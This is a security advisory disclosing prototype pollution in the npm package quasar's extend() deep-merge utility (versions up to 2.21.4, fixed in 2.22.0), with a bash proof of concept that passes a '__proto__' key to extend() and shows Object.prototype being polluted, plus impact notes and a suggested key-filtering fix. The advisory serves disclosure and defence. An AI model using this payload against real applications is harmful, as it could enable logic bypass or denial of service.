npm/quasar: Quasar: Prototype pollution in the extend() utility
摘要
Severity: MEDIUM | CVSS: 5.6 | Package: npm/quasar | Affected: <= 2.21.4 | Patched: 2.22.0
正文
### Summary `[email protected]`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root. When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`. This can allow attacker-controlled properties to be written to `Object.prototype`. ### Details Affected source: ```text src/utils/extend/extend.js ``` Distributed files include: ```text dist/quasar.server.prod.js dist/quasar.server.prod.cjs dist/quasar.client.js ``` The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`. ### PoC ```bash rm -rf /tmp/quasar-extend-pp-poc mkdir /tmp/quasar-extend-pp-poc cd /tmp/quasar-extend-pp-poc npm init -y >/dev/null npm install [email protected] [email protected] >/dev/null cat > hack.mjs <<'JS' import { extend } from 'quasar'; delete Object.prototype.polluted; extend(true, {}, { ['__proto__']: { polluted: 'yes' } }); console.log(({}).polluted); delete Object.prototype.polluted; JS node ./hack.mjs ``` Observed output: ```text yes ``` Expected output: ```text undefined ``` ### Impact This is a prototype pollution vulnerability. If an application passes user-controlled or partially user-controlled objects into `extend(true, ...)`, an attacker may be able to pollute `Object.prototype` in the same JavaScript process. Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact. ### Suggested Fix Reject or safely ignore dangerous keys before assignment, including: ```text __proto__ prototype constructor ``` The merge implementation should also avoid descending into prototype-related properties during recursive merge.
标签
- ecosystem:npm
- severity:medium
- type:reviewed
扩展字段
{
"credits": [
{
"login": "Dremig",
"type": "reporter"
}
],
"cvss_score": 5.6,
"cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"cwe_ids": [
"CWE-1321"
],
"cwe_names": [
"Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')"
],
"ghsa_id": "GHSA-3r53-75j5-3g7j",
"package": {
"ecosystem": "npm",
"name": "quasar",
"patched_version": "2.22.0",
"vulnerable_range": "<= 2.21.4"
},
"references": [
"https://github.com/quasarframework/quasar/security/advisories/GHSA-3r53-75j5-3g7j",
"https://github.com/quasarframework/quasar/commit/d0a95d95ab3c29d13e1b8ba8c5e5025fd6ce35e7",
"https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0",
"https://github.com/advisories/GHSA-3r53-75j5-3g7j"
],
"source_code_location": "https://github.com/quasarframework/quasar",
"updated_at": "2026-07-24T22:36:47Z"
}